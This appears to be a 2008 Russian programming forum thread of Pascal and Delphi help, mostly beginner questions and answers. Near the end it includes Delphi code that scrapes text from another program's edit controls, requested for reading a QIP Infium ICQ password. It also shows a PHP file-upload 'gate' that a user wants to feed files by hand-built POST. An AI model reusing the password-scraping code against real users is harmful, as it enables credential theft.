// Соединяем заголовок
HTTP_Post := HTTP_Post + HTTP_Data;
// Пытаемся открыть соединение
ClientSocket1.Open;
end;
Lesnoy_chelovek спс щас + непоставлю т.к. уже исчерпал...... завтра обязательно отблагодарю ;)
Но вот тока ты видимо невнимательно прочитал..... как просто по http я знаю а вот как по HTTPS
да и еще аторизацию пройти надо (это когда у тебя появляется окно введите имя и пароль и при неправильном вводе 3 раза появляется надмись типа этой: Autentification falied) как мне пройти ето программно.... да еще в добавок HTTPS защищенный.....
лан попробую ешо покопаюсъ
Ребят помогите разобраться.
Хочу написать маленьку программу
Почему не работает программа?
program matching;
var x,y:integer;
begin
writeln;
write('Введите значение X ');
read(x);
write('Введите значение Y ');
readln(y);
case x-y of
0:writeln ('X и Y равны');
else
writeln ('X и Y не равны');
end;
end.
case поменяй на if а то бред какой-то
program matching;
uses crt;
var x, y : integer;
begin
writeln;
write('Input value X = ');
read(x);
write('Input value Y = ');
read(y);
if x - y = 0 then write ('X = Y')
else
write('X <> Y');
readkey;
end.
Lesnoy_chelovek
19.05.2008, 16:03
Попробуй так:
program matching;
var x,y:integer;
begin
writeln('Введите значение X ');
readln(x);
writeln('Введите значение Y ');
readln(y);
case (x-y) of
0:writeln ('X и Y равны');
else
writeln ('X и Y не равны');
end;
end.
Я бы сделал вот так:
program matching;
var x,y:integer;
begin
write('Введите значение X ');
readln(x);
writeln('Введите значение Y ');
readln(y);
if (x=y) then writeln ('X и Y равны')
else writeln ('X и Y не равны');
end.
Блин выводит только "Введите значение X", а остальное нет..:(
Блин выводит только "Введите значение X", а остальное нет..:(
А ты число после этого вводишь-то? :D
Nick_Rimer
19.05.2008, 19:55
{$R A.res}
procedure TForm1.FormCreate(Sender: TObject);
var
ResW:THandle;
rs:TResourceStream;
begin
ResW:=FindResource(hInstance,'AU',RT_RCDATA);
if ResW=0 then RaiseLastOSError;
rs:=TResourceStream.Create(hInstance,'AU',RT_RCDAT A);
Field.Clear;
Field.LoadRTFFromStream(rs);
end;
Field - это компонент TRichView
в ресурсе A.res "зашит" файл Auni.rtf следующим образом:
AU RCDATA Auni.rtf
Программа работает, ошибки не выползают, но поле остается пустым! То есть файл не загрузился...
Что у меня не так??
Помогите, чем можете, плиз..
{$R A.res}
procedure TForm1.FormCreate(Sender: TObject);
var
ResW:THandle;
rs:TResourceStream;
begin
ResW:=FindResource(hInstance,'AU',RT_RCDATA);
if ResW=0 then RaiseLastOSError;
rs:=TResourceStream.Create(hInstance,'AU',RT_RCDAT A);
Field.Clear;
Field.LoadRTFFromStream(rs);
end;
Field - это компонент TRichView
в ресурсе A.res "зашит" файл Auni.rtf следующим образом:
AU RCDATA Auni.rtf
Программа работает, ошибки не выползают, но поле остается пустым! То есть файл не загрузился...
Что у меня не так??
Помогите, чем можете, плиз..
function ExtractRes(ResType, ResName:string): string;
var
Htemp,HResInfo,HGlobal: THandle;
pStr: PCHar;
Size: Longint;
Str: String;
begin
HResInfo := FindResource(Htemp, PAnsiChar(ResName), PAnsiChar(ResType));
if HResInfo = 0 then exit;
HGlobal := LoadResource(Htemp, HResInfo);
if HGlobal = 0 then exit;
// size:=SizeOfResource(HTemp, HResInfo); //размер нужен, если строка не нуль-терминированная
pStr:=LockResource(HGlobal);
//SetLength(Str, size);
//Move(pStr^, PChar(Str)^, Size); //для случая не нуль-терминированной строки
Str := pStr; //подразумевается, что в ресурсе хранится нуль-терминированная ANSI-строка
result:=Str;
end;
De-visible:Не забываем теги [code]
AHTOLLlKA
20.05.2008, 11:54
подскажите как узнать свой радительский процесс ?
тоесть кто нас запустил..
------------------------------
уже чето намутил )
procedure TForm1.Button1Click(Sender: TObject);
var
hSnapshoot: THandle;
pe32: TProcessEntry32;
ProcessName:string;
begin
ProcessName:='Totalcmd.exe';
hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if hSnapshoot = -1 then Exit;
pe32.dwSize := SizeOf(TProcessEntry32);
if (Process32First(hSnapshoot, pe32)) then
repeat
if extractfilename(pe32.szExeFile) = ProcessName then
begin
memo1.lines.add(inttostr(pe32.th32ProcessID));
memo1.lines.add(inttostr(pe32.th32ParentProcessID) );
Break;
end;
until
not Process32Next(hSnapshoot, pe32);
CloseHandle (hSnapshoot);
end;
Hellsp@wn
20.05.2008, 15:02
var
Info: TProcessBasicInformation;
...
begin
ZeroMemory(@Info,SizeOf(TProcessBasicInformation)) ;
d1:=ZwQueryInformationProcess(hProcess,0,@Info,Siz eOf(TProcessBasicInformation),nil);
If (d1 = 0) then
begin
d1:=Info.InheritedFromUniqueProcessId;
// d1 = parent process pid
end;
Парни помогите решить проблемку с программой, вроде все правильно прописал, а не работает!:(
Program Dialog; {расширенный диалог — второй вариант)
const
Question =' What is your name?';
Rep(y1 =
'Паскаль — прост, но первый компилятор Паскаля был написан на Паскале';
Reply21 = 'Вас ждет удивительное путешествие';
Reply22 = 'сквозь джунгли особенностей и возможностей языка';
Reply3 =
'Паскаль — разумный компромисс между желательным и эффективным';
Reply4 = 'Паскаль академически элегантен';
var
Name: string;
Age: byte;
begin
WriteLn(Question); ReadLn(Name); {Ввод имени} WriteLn('Hello,',
Name,'!'); {Вывод приветствия} WriteLn('How old are you?');
{Вопрос о возрасте} ReadLn(Age); {Ввод возраста} if 12
< Age then WriteLn(Reply1 );
if (12 <= Age) and (Age < 20) then begin
WriteLn (Reply21);
WriteLn (Reply22) end;
if (20 <= Age) and (Age < 40) then WriteLn(Reply3);
if Age >= 40 then WriteLn(Reply4) end.
И еще такой вопрос:
В интернете есть масса исходных кодов программ разных, скопировать и вставить в Турбо Паскаль нельзя, вопрос(?) как залить код программы в турбо паскаль?
Если допустим программа маленькая, то я и переписать могу, а если большая..лень берет..
De-visible: Уже не раз говорил, не надо создавать пост два раза подряд!
0verbreaK
20.05.2008, 15:49
И еще такой вопрос:
В интернете есть масса исходных кодов программ разных, скопировать и вставить в Турбо Паскаль нельзя, вопрос(?) как залить код программы в турбо паскаль?
Открой в текстовике свой проект и копируй туда.
0verbreaK
20.05.2008, 15:51
Парни помогите решить проблемку с программой, вроде все правильно прописал, а не работает!:(
Program Dialog; {расширенный диалог — второй вариант)
const
Question =' What is your name?';
Rep(y1 =
'Паскаль — прост, но первый компилятор Паскаля был написан на Паскале';
Reply21 = 'Вас ждет удивительное путешествие';
Reply22 = 'сквозь джунгли особенностей и возможностей языка';
Reply3 =
'Паскаль — разумный компромисс между желательным и эффективным';
Reply4 = 'Паскаль академически элегантен';
var
Name: string;
Age: byte;
begin
WriteLn(Question); ReadLn(Name); {Ввод имени} WriteLn('Hello,',
Name,'!'); {Вывод приветствия} WriteLn('How old are you?');
{Вопрос о возрасте} ReadLn(Age); {Ввод возраста} if 12
< Age then WriteLn(Reply1 );
if (12 <= Age) and (Age < 20) then begin
WriteLn (Reply21);
WriteLn (Reply22) end;
if (20 <= Age) and (Age < 40) then WriteLn(Reply3);
if Age >= 40 then WriteLn(Reply4) end.
Коментарий закрой в первой строчке }, а не )
Далее,
Че за y1
Rep(y1 ='Паскаль — прост, но первый компилятор Паскаля был написан на Паскале';
Должно быть
Reply1 ='Паскаль — прост, но первый компилятор Паскаля был написан на Паскале';
Странные условия
if 12 < Age then WriteLn(Reply1 ); { Вопрос о возрасте}
if (12 <= Age) and (Age < 20) then begin
Используй отступы для повышения читаемости кода
Program Dialog; {расширенный диалог — второй вариант}
const
Question =' What is your name?';
Reply1 ='Паскаль — прост, но первый компилятор Паскаля был написан на Паскале';
Reply21 = 'Вас ждет удивительное путешествие';
Reply22 = 'сквозь джунгли особенностей и возможностей языка';
Reply3 = 'Паскаль — разумный компромисс между желательным и эффективным';
Reply4 = 'Паскаль академически элегантен';
var
Name: string;
Age: byte;
begin
WriteLn(Question);
ReadLn(Name); {Ввод имени}
WriteLn('Hello,',Name,'!');
WriteLn('How old are you?'); {Вывод приветствия}
ReadLn(Age); {Ввод возраста}
if 12 < Age then WriteLn(Reply1 ); { Вопрос о возрасте}
if (12 <= Age) and (Age < 20) then begin
WriteLn (Reply21);
WriteLn (Reply22) end;
if (20 <= Age) and (Age < 40) then WriteLn(Reply3);
if Age >= 40 then WriteLn(Reply4)
end.
Дополнение...
Лучше использовать конструкцию case, так как
в ней можно писать вот такие вещи, ниже пример:
program seasons;
uses CRT;
var
n: Integer;
begin
clrscr;
writeln('Введите номер месяца');
readln(n);
writeln('Время года');
writeln('Время года: ');
case n of
1,2,12: writeln('Зима');
3..5: writeln('Весна');
6..8: writeln('Лето');
9..11: writeln('Осень');
else writeln('номер месяца неверен');
end;
readln;
end.
И еще, скачай какой нибудь профессиональный исходник и возьми пример оформления кода из него.
Nick_Rimer
20.05.2008, 17:25
я даже знаю, из какой книги эти примеры, ребята! :)
ладно, это я отвлекся.. мой вопрос к alamat:
работает ли это, если мой текст в формате Unicod? Вся суть в том, что мне требуется поддержка кодировки Юникод! Без этого у меня и так все прекрасно..
для этого я использую компонент TRichView.. но загрузить в него файл не выходит..
xxxxxxxxxxxxxxx
21.05.2008, 19:08
Напишите пожалуйста коменты к этой программе очень надо....
program uses crt;
var i,j,n,m,min,k : integer;
P : real;
t : array [1..100,1..100] of integer;
begin
clrscr;
write('vvedite kol-vo stolbcov = ');
readln(m);
write('vvedite kol-vo rjadkov = ');
readln(n);
for i:=1 to m do
for j:=1 to n do begin
write('vvedite t[',i,j,'] znachenie = ');
readln(t[i,j]);
end;
k:=0;
for i:=1 to m do
for j:=1 to n do
if (i<j) and ((i+j)>(n+1)) and (t[i,j]=0) then k:=k+1;
writeln ('k=',k);
min:=t[m-1,1];
for i:=m-1 to m do
for j:=1 to n do
if t[i,j]<min then min:=t[i,j];
writeln ('min=',min:3);
if min<>0 then
begin P:=k/min; writeln ('P=',P:3); end
else writeln ('Deistvie nevozmojno');
readln;
end.
я даже знаю, из какой книги эти примеры, ребята! :)
ладно, это я отвлекся.. мой вопрос к alamat:
работает ли это, если мой текст в формате Unicod? Вся суть в том, что мне требуется поддержка кодировки Юникод! Без этого у меня и так все прекрасно..
для этого я использую компонент TRichView.. но загрузить в него файл не выходит..
юзай TNT Unicode Controls
0verbreaK
21.05.2008, 19:31
Напишите пожалуйста коменты к этой программе очень надо....
program uses crt;
var i,j,n,m,min,k : integer;
P : real;
t : array [1..100,1..100] of integer;
begin
clrscr;
write('vvedite kol-vo stolbcov = ');
readln(m);
write('vvedite kol-vo rjadkov = ');
readln(n);
for i:=1 to m do
for j:=1 to n do begin
write('vvedite t[',i,j,'] znachenie = ');
readln(t[i,j]);
end;
k:=0;
for i:=1 to m do
for j:=1 to n do
if (i<j) and ((i+j)>(n+1)) and (t[i,j]=0) then k:=k+1;
writeln ('k=',k);
min:=t[m-1,1];
for i:=m-1 to m do
for j:=1 to n do
if t[i,j]<min then min:=t[i,j];
writeln ('min=',min:3);
if min<>0 then
begin P:=k/min; writeln ('P=',P:3); end
else writeln ('Deistvie nevozmojno');
readln;
end.
Ее надо назвать через program [name];
program pr;
uses crt; // подключение модуля
var i,j,n,m,min,k : integer;
P : real;
t : array [1..100,1..100] of integer; // двумерный массив
begin
clrscr; // очистка экрана для этого собственно и crt
write('vvedite kol-vo stolbcov = '); // вывод строки
readln(m); // считываем ввод в m
write('vvedite kol-vo rjadkov = '); // вывод строки
readln(n); // считываем в n ввод
// цикл от 1..M
for i:=1 to m do
// вложенный цикл
// от 1..N
for j:=1 to n do begin
write('vvedite t[',i,j,'] znachenie = '); // выводим все что внутри скоб
readln(t[i,j]); // считываем в двумерный массив
end;
k:=0; // K=0
for i:=1 to m do
for j:=1 to n do
// проверка I < J и I+J > N+1 и массив t с элементами [i, j] = 0 тогда к K = K+ 1
if (i<j) and ((i+j)>(n+1)) and (t[i,j]=0) then k:=k+1;
writeln ('k=',k); // вывод K
min:=t[m-1,1]; // минимальный элемент
for i:=m-1 to m do
for j:=1 to n do
if t[i,j]<min then min:=t[i,j]; // сравниваем двумерный массив с минимум
writeln ('min=',min:3); // вывод min с ограничением 3
if min<>0 then // если min не равен 0
begin P:=k/min; writeln ('P=',P:3); // выводим P с маской 3
end
else writeln ('Deistvie nevozmojno'); // иначе выводим
readln; // ждем нажатия
end.
Работаю над новым проектом и вновь понадобились подсказки. (с меня как обычно благодарность, "+", и уважение).
1. Нужен примерно следущий онклик:
Нажата кнопка - прогресбар бежит минуту после этого смотрит есть ли файл C:\xxx.txt - если есть то в мемо выводиться его содержание, - если нет то пишиться что файл не найден.
Пока это все. Заранее спасибо.
Цитата:Сообщение от Nick_Rimer
я даже знаю, из какой книги эти примеры, ребята!
ладно, это я отвлекся.. мой вопрос к alamat:
работает ли это, если мой текст в формате Unicod? Вся суть в том, что мне требуется поддержка кодировки Юникод! Без этого у меня и так все прекрасно..
для этого я использую компонент TRichView.. но загрузить в него файл не выходит..
юзай TNT Unicode Controls
я что то непойму причем здесь кодировки? может кто-то обяснить? или вы имеете ввиду отображение руских шрифто в к консоли виндовс? потому как мне кажется английской раскладке всеравно....
Nick_Rimer
21.05.2008, 21:01
бегающий прогресс бар делается просто..
для этого нужен компонент TTimer.. делаешь так, чтобы по событию OnTimer увеличивалась позиция в прогресс баре.. и поставь интервал поменьше.. какой? сам подбери.. если нужно, чтобы грузилось побыстрее, ставь меньше.. если помедленнее - ставь больше..
по-умолчанию стоит 1000 (1 секунда)..
----------
для desTiny
что такое TNT Unicode Controls и с чем их едят?? объясните, пожалуйста, подробнее.. у меня проект стоит!.. пока я не разберусь с этой кодировкой, не могу дальше продолжать :(
---------
для emik
а чего тут неясного? у меня есть текст в кодировке Юникод.. мне нужно отобразить его в программе Делфи.. но делфи7 изначально сам по себе не понимает юникод.. вот и приходится париться с компонентами
Народ что такое "массив" и где его используют чаще всего и как он применяеться ?
0verbreaK
22.05.2008, 15:16
посмотри здесь http://www.pascal.hop.ru/cgi-bin/index.pl?0,7
массив
var
mas: array [0..255] of Char; // массив из 256 символов
Обращение производится по индексу для одномерного массива
mas[i]; // где i допустим параметр цикла
Для двумерного обращение
mas[i, j]; // i, j параметры цикла
Пример:
var
i, j: Integer;
max: Integer;
begin
for i:=0 to 255 do
for j:=0 to 255 do
begin
max:=mas[i,j];
if mas[i, j] > max then max:=mas[i, j];
end;
Используется везде, где необходимо использовать
операции со строками, в мат. задачах, играх(шашки, шахматы, судоку...).
Допустим в патчах, где необходимо пропатчить огромное кол-во данных, используется массив опкодов
найдется добрый человек который подскажит код наблюдения за реестром, включая в какую ветку, какой ключ, что с ним(и) делают (создаю, изменяют, удаляют), и значение...
Зарание спасибо ;)
Пpовеpить pеестp
with TRegistry.create do begin
Rootkey := HKEY_LOCAL_MACHINE;
OpenKey('SOFTWARE\BORLAND\DATABASE ENGINE', false);
CFGFile := ReadString('CONFIGFILE01');
Free;
end;
cash$$$ если ето ты мне ответил то ты не правильно понял вопрос.... я имею ввиду не одно значение а наблючение за всем реестром..
0verbreaK
24.05.2008, 20:55
cash$$$ если ето ты мне ответил то ты не правильно понял вопрос.... я имею ввиду не одно значение а наблючение за всем реестром..
RegMon монитор? Есть его исходники
0verbreaK буду благодарен если дашь ссылочку или пришлешь на мыло...
Nick_Rimer
24.05.2008, 23:34
ребята! подскажите, как бы мне сделать так, чтобы моя программа использовала шрифт, который я "зашью" в ресурс? мне не нужно при этом его выгружать и куда-то записывать, а просто использовать.. например, для текста в поле ввода - один шрифт, для текста на "кэпшнах" - другой шрифт..
ребята! подскажите, как бы мне сделать так, чтобы моя программа использовала шрифт, который я "зашью" в ресурс? мне не нужно при этом его выгружать и куда-то записывать, а просто использовать.. например, для текста в поле ввода - один шрифт, для текста на "кэпшнах" - другой шрифт..
Используй текстовый редактор, создай *.rc файл, описывающий шрифт:MY_FONT ANYOL1 "Bauhs93.ttf"
Первые два параметра могут быть любыми. Они будут использоваться в программе позже.
Затем для создания *.res файла используйте компилятор командной строки BRCC32.EXE, поставляемый с Delphi. Если ваш файл на этапе 1 был назван MyFont.rc, командная строка в сеансе DOS должна выглядеть так:BRCC32 MyFont
Программа добавит в компилируемый файл созданный ресурс .rc и создаст файл с тем же именем, за исключением расширения, которое будет .res: MyFont.res
В программе добавь директиву компилятора, чтобы включить созданный файл:{$R MyFont.res}
Правильным будет разместить его в секции реализации после строчки {$R *.DFM}.
Добавь процедуру создания файла из ресурса, делающим шрифт доступным для использования. Пример:procedure TForm1.FormCreate(Sender: TObject);
var
Res : TResourceStream;
begin
Res := TResourceStream.Create(hInstance, 'MY_FONT', Pchar('ANYOL1'));
Res.SavetoFile('Bauhs93.ttf');
Res.Free;
AddFontResource(PChar('Bauhs93.ttf'));
SendMessage(HWND_BROADCAST,WM_FONTCHANGE,0,0);
end;
Теперь можно использовать данный шрифт в своем приложении:procedure TForm1.Button1Click(Sender: TObject);
begin
Button1.Font.Name := 'Bauhaus 93';
end;
Установленный шрифт может быть удален программным путем, естественно, в случае, когда он ничем не используется:procedure TForm1.FormDestroy(Sender: TObject);
begin
RemoveFontResource(PChar("Bauhs93.ttf"))
SendMessage(HWND_BROADCAST,WM_FONTCHANGE,0,0);
end;
0verbreaK
25.05.2008, 12:53
0verbreaK буду благодарен если дашь ссылочку или пришлешь на мыло...
http://wasm.ru/tools/21/sysint.zip
Regmon/Filemon by Mark Russinovich
Ребят, помогите разобраться с программкой, некоторые части "тела" не понятны, может кто объяснит, вот сама программа:
program NestLoop;
var i, j: integer;
begin
writeln('Циклы':6,'I':10,'J':3);
writeln('-----------------------');
for i:=1 to 4 do
begin {Начало внешнего цикла}
writeln('Внешний' :8,I:8);
for j:=1 to i do
writeln('Внутренний' :13,I:3,J:3);
end; {Конец внешнего цикла}
end.
Непонятны части во эти:
*1 writeln('Внешний' :8,I:8);
*2 writeln('Внутренний' :13,I:3,J:3);
То что выводит на экран, это ясно, непонятно только то, откуда вот эти цифри, в первом случае эти- 8,I:8, во втором эти- 13,I:3,J:3, в чем их фишка, ведь на экране там и близко нет их, а в учебнике не описано.
если я не позабыл то вроде так
var
R:Real; {any real type}
begin
R := sqrt(2); // присваиваем корень из 2
WriteLn(r:4); // выводим на экран целое значение и 4 цифры после плавающей запятой
end.
Но я никогда не слышал чтго бы после строковых констант применяли такое
Archangelus
26.05.2008, 05:41
Помогите пожалуйста примером (исходником с описанием)
Кто может сделать пример игры: "Крестики-нолики" через интернет? (я хочу более сложную игрушку сделать, но мне нужен пример для работы с данными через интернет)
Соединение не по Ip (потому, что у многих он не явный), допустим через какой-либо сайт на бесплатном хостинге
.::BARS::.
26.05.2008, 07:50
Народ, помогите решить задачку: даны два файла. В первом файле - старые называния файлов. В новом - наовые названия. Переписать соответственно старые названия на новые, прежде проверив существование файла на диске.
имена файлов записаны в столбик, какие имена файлов не важно....
Спасибо...
AHTOLLlKA
26.05.2008, 08:35
вот вопрос.. уже хз че делать
есть гейт на прием файла
<?
$uploadfile = basename($_FILES['f']['name']);
move_uploaded_file($_FILES['f']['tmp_name'], $uploadfile);
print_r($_FILES)
?>
как мне передать гейту файл .. в base64 размером ~5 метров..
компонентом уже делал.. все доходит.. но мне желательноб замутить пост запрос вручную.. чтот у меня не доконца он доходит.. у когонить есть примеры ?? м-м-м ?
Путем идешь ты верным, юный падаван. Для выполнения задания этого тебе WinSock поможет.
Да пребудет с тобой Великая Сила!
AHTOLLlKA
26.05.2008, 08:48
Путем идешь ты верным, юный падаван. Для выполнения задания этого тебе WinSock поможет.
Да пребудет с тобой Великая Сила!
это... ну я в курсе что мне винсок поможет ))))
мнеб пример рабочий если не сложно...
я уже составлял пост один в один что компанент шлет .. все равно не доконца доходит..
щас показать не могу.. сорца под рукой нету... вот мож у кого есть рабочий пример отправки ??
Dober'man
26.05.2008, 09:07
4_.::BARS::.
var t,tx: text; s,sx: string;
function fileexists(var filename: string): boolean;
var f: file;
begin
{$I-} assign(f,filename); reset(f); {$I+}
fileexists:=(ioresult=0) and (filename<>'');
end;
begin
assign(t,'c:\xxx.txt'); reset(t);
assign(tx,'c:\yyy.txt'); rewrite(tx);
while not eof(t) do
begin
readln(t,s);
if fileexists(s) then
writeln(tx,s)
else writeln(tx,'FAIL NE NAIDEN');
end;
close(t);
close(tx);
end.
AHTOLLlKAhttp://forum.xakep.ru/m_1094468/mpage_1/key_/tm.htm#1095816
Вот тебе пример на WinSock, под себя уже сам подгониш.
AHTOLLlKA
26.05.2008, 11:17
Dr.KoD, пасиба, но я его уже юзал.. и не помню почему он не подошел ))
щас проверю еще раз
0verbreaK а на delphi нету? с си пока не так хорошо....
кто нить подскажите быстрый и не заваленный код как можно узнать свой внешний ай пи. Если возможно то желательно что бы не включать в работу запрос на сайт который выдает ай пи.
Archangelus
26.05.2008, 16:49
Ещё раз очень прошу помочь мне примером (исходником с описанием). Просто мой вопрос как-то был деликатно обойдён :(
Кто может сделать пример игры: "Крестики-нолики" через интернет? (я хочу более сложную игрушку сделать, но мне нужен пример для работы с данными через интернет)
Соединение не по Ip (потому, что у многих он не явный), допустим через какой-либо сайт на бесплатном хостинге
qPhoenix
26.05.2008, 17:48
кто нить подскажите быстрый и не заваленный код как можно узнать свой внешний ай пи. Если возможно то желательно что бы не включать в работу запрос на сайт который выдает ай пи.
IpHlpApi
http://slil.ru/25830886 <- Униты и Примеры
по твоей теме пример -- IpTest.dpr
Archangelus, найди исходники игры "крестики-нолики" а затем просто передавай по протоколу irc данные.
по этой ссылке ты найдешь компонент мс-рем"а для работы с irc
_http://petools.org.ru/mirc_ms-rem.rar
t04, вот процедура выводит все ip адреса:
procedure TForm1.Button1Click(Sender: TObject);
type
InAddr = Array[0..10] of PInAddr;
TInAddr = ^InAddr;
var
Host: PHostEnt;
pPtr: TInAddr;
Buffer: Array[0..63] of char;
i: Integer;
Socket: TWSAData;
begin
ListBox1.Clear;
WSAStartup( $101, Socket );
GetHostName( Buffer, SizeOf( Buffer ) );
Host := GetHostByName( buffer );
if Host = nil then Exit;
pPtr := TInAddr( Host^.h_addr_list );
i := 0;
while pPtr^[i] <> nil do
begin
ListBox1.Items.Add( inet_ntoa( pPtr^[i]^ ) );
Inc( i );
end;
WSACleanup;
end;
Соединение не по Ip (потому, что у многих он не явный), допустим через какой-либо сайт на бесплатном хостинге
Это, что что то из области фантастики? А сайт не имеет своего ip адреса?
Кто может сделать пример игры: "Крестики-нолики" через интернет? (я хочу более сложную игрушку сделать, но мне нужен пример для работы с данными через интернет)
Мне больше всего понравилось тут то, что ты нам предлагаеш написать эту программу, не затратив ни каких своих усилий!!!
Начинай писать сам, а потом выкладывай свой кодсюда, а мы уже в меру своих сил и возможностей тебе постараемся ответить.
А для начала иди почитай книжки, авось в какойнибудь найдеш пример такой игры!!! :D
AHTOLLlKA А, что тебе мешает подставить в post запрос, в тот код, который я тебе дал, то что тебе нужно?
']Последнее время очень часто делфи 7 выдаёт такие ошибки http://smages.com/da/dd/daddc3c065573ced6b770d87dceb7b5e.jpg.htm
вот например кинул на форму батон и ProgressBar и такая ошибка, пугает что такое часто бывает, в чём трабла?
Так сложно сказать из-за чего именно происходит такая ошибка, потому что Делфи по разным причинам может выдавать такое. Есесно, что это не из-за неправильного кода-код правильный! Возможно причина даже в том, что криво поставлена Делфи или же проблемы с памятью
Я встречал с похожей ошибкой. И возникала она также по непонятным причинам. Помогло только то, что удалил все файлы дельфы, даже из Common file после чего ставил дельфу. перезапускал комп. Потом уже запускал дельфу и ставил нужны екомпоненты и дополнения. В противном случае без перезагрузки первый запуск давал в дальнейшем хорошие глюки
Karapuziko
27.05.2008, 16:32
Здравствуйте помогите решить:)
(понимаю что это не решебник но все же буду очень признателен!)
Вот несколько задач:(каждая из них отдельная!):
1)Найти все делители натурального числа n.
2)Вычислить (1+sin0,1)(1+sin0,2)(1+sin0,3)......(1+sin0,4)
3)Написать программу, которая по номеру месяца выдает название следующего за ним месяца (при m=1 получаем февраль, 4 – май и т.д.).
4)Грузовой автомобиль выехал из одного города в другой со скоростью v1 км/ч. Через t ч в этом же направлении выехал легковой автомобиль со скоростью v2 км/ч. Составить программу, определяющую, догонит ли легковой автомобиль грузовой через t1 ч после своего выезда.
====================
Буду признателен спасибо:)
2 Karapuziko :
Задание 1 (~5 kb) (http://www.aladin88.jino-net.ru/1.rar)
Уточни второе задание! до каких пор там увеличивается аргумент синуса? всего 4 множителя?
Задание 3 (~5 kb) (http://www.aladin88.jino-net.ru/3.rar)
Задание 4 (~5kb) (http://www.aladin88.jino-net.ru/4.rar)
2 [Dezzter] :
Допиши в таймере это:
if ProgressBar1.Position=ProgressBar1.Max then
begin
Form2.Show;
Timer1.Enabled:=false;
end;
И вот это Timer1.Interval:=0; можешь убрать!
P.S Вообще-то это не есть корректный способ! Нужно просто по окончании какого-то действия, которого ты иммитируешь с помощью ProgressBar1 уже писать Form1.Show. Но как бы там ни было это твоя прерогатива=)
P.S.S Может у тебя проблема с самим пакетом Делфи? Может он не полный?
[Dezzter] Вот держи:
procedure TForm1.Timer1Timer(Sender: TObject);
var
i:integer;
begin
i:=ProgressBar1.Max;
ProgressBar1.Position := ProgressBar1.Position + 1;
if ProgressBar1.Position = i then
begin
Timer1.Enabled:=False;
Form2.ShowModal;
end;
end;
Karapuziko
27.05.2008, 23:02
2 Karapuziko :
Задание 1 (~5 kb) (http://www.aladin88.jino-net.ru/1.rar)
Уточни второе задание! до каких пор там увеличивается аргумент синуса? всего 4 множителя?
Задание 3 (~5 kb) (http://www.aladin88.jino-net.ru/3.rar)
Задание 4 (~5kb) (http://www.aladin88.jino-net.ru/4.rar)
2 [Dezzter] :
Допиши в таймере это:
if ProgressBar1.Position=ProgressBar1.Max then
begin
Form2.Show;
Timer1.Enabled:=false;
end;
И вот это Timer1.Interval:=0; можешь убрать!
P.S Вообще-то это не есть корректный способ! Нужно просто по окончании какого-то действия, которого ты иммитируешь с помощью ProgressBar1 уже писать Form1.Show. Но как бы там ни было это твоя прерогатива=)
P.S.S Может у тебя проблема с самим пакетом Делфи? Может он не полный?
Мне бы на паскале!(сорри сразу язык уточнить забыл)
Мне бы на паскале!(сорри сразу язык уточнить забыл)
мдее =\
тебе на паскале и давали, просто поменяй там пару строчек кода.
ЗЫ Такие топики делают учеников ленивых
Nightmarе
28.05.2008, 00:04
Вопрос, как на делфи получить содержимое поля пароль в QIP Infirum (не просто квип), не поля пароль профиля, а поле пароля от аськи.
Там просто все поля одинаково называются "TInfuEdit.UnicodeClass" и как получить инфу из нужного поля ХЗ...
Nightmarе
Так на вскидку глянул одной прогой(пользовался идущей в комплекте с Autoit) и обнаружил два(поля) "TInfuEdit.UnicodeClass1" и TInfuEdit.UnicodeClass2, хз сам не пробовал выуживать пароль с этой проги, а разбираться ща времени нема ;)
Nightmarе
28.05.2008, 02:38
Да никак не получается... я так понял алгоритм это узнать хендл главного окна, в нём другое и т.д... вот хз даже как...
Nightmarе
function GetPasFromEdit(Wnd: HWND; var Text: string):boolean;
var
EditWnd: HWND;
begin
Result := False;
EditWnd := FindWindowEx(Wnd, 0,'TEDIT', nil);
if EditWnd = 0 then
exit;
SetLength(Text, SendMessage(EditWnd, WM_GETTEXTLENGTH, 0, 0)+1);
SendMessage(EditWnd, WM_GETTEXT, length(Text), Integer(PChar(Text)));
SetLength(Text, lStrLen(PChar(Text)));
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
MainWnd,Grp:Hwnd;
begin
MainWnd:=FindWindow(nil,'Здесь гаголовок главной формы'); Хендл главного окна
Grp:=FindWindowEx(MainWnd, 0,'TEDIT', nil); //Хендл какого-то дочернего котрола
if Grp<>0 then begin
GetPasFromEdit(Grp,pass);
end;
if Grp=0 then
exit;
end;
P.S То что темно-красным можно узнать, ну например так:
procedure TForm1.Timer1Timer(Sender: TObject);
var
s: string;
h: HWND;
aName: array [0..255] of Char;
begin
h := WindowFromPoint(Mouse.CursorPos);
SetLength(s, SendMessage(h, WM_GETTEXTLENGTH, 0, 0)+1);
SendMessage(h, WM_GETTEXT, length(s), Integer(PChar(s)));
SetLength(s, lStrLen(PChar(s)));
GetClassName(h, aName, 256);
Label1.Caption :='Заголовок : ' +s;
Label2.Caption:='Класс : '+ aName;
end;
Nightmarе
28.05.2008, 21:39
A2GIL так это я и так знаю.
Но хендлов то у меня нету, как они называются, сколько их, что и как...
Все утилиты показывают что ВСЕ Tedit называются по одинаковому...
С обычным квипом всё просто, а с инфирумом у меня такое ощющение что там всё грамотно закриптованно...
Там как, запускается инфирум... после авторизации под обычным локальным юзверем открывается другое окно, а может модуль с предложением ввести пасс...
Я пока разберусь кто за что там отвечает это 2010 год будет.
Вот если кто сталкивался с этим...
A2GIL так это я и так знаю.
Но хендлов то у меня нету, как они называются, сколько их, что и как...
Все утилиты показывают что ВСЕ Tedit называются по одинаковому...
С обычным квипом всё просто, а с инфирумом у меня такое ощющение что там всё грамотно закриптованно...
Там как, запускается инфирум... после авторизации под обычным локальным юзверем открывается другое окно, а может модуль с предложением ввести пасс...
Я пока разберусь кто за что там отвечает это 2010 год будет.
Вот если кто сталкивался с этим...
Spy++ пробовал юзать?
Nightmarе
28.05.2008, 22:22
Spy++ пробовал юзать?
Я его пробовал искать, обломилось...
есть WinSpy
Я его пробовал искать, обломилось...
есть WinSpy
Он входит в стандартный пакет MS Visual C++ 6.0 и выше
ЗЫ
http://rapidshare.com/files/118380465/SPYXX.rar.html
Nightmarе
29.05.2008, 00:23
Он входит в стандартный пакет MS Visual C++ 6.0 и выше
ЗЫ
http://rapidshare.com/files/118380465/SPYXX.rar.html
Во во, и без него не запускается ;)
Бесполезно это, я целый пакет Visual C++ выкачивать не собираюсь
Во во, и без него не запускается ;)
Бесполезно это, я целый пакет Visual C++ выкачивать не собираюсь
а на что кричит?
Собираюсь приступить к изучению delphi. Не одскажите, с чего начать?
Killerkod
29.05.2008, 05:51
С покупки книги. Советую - Библия Делфи, автор Михаил Фленов.
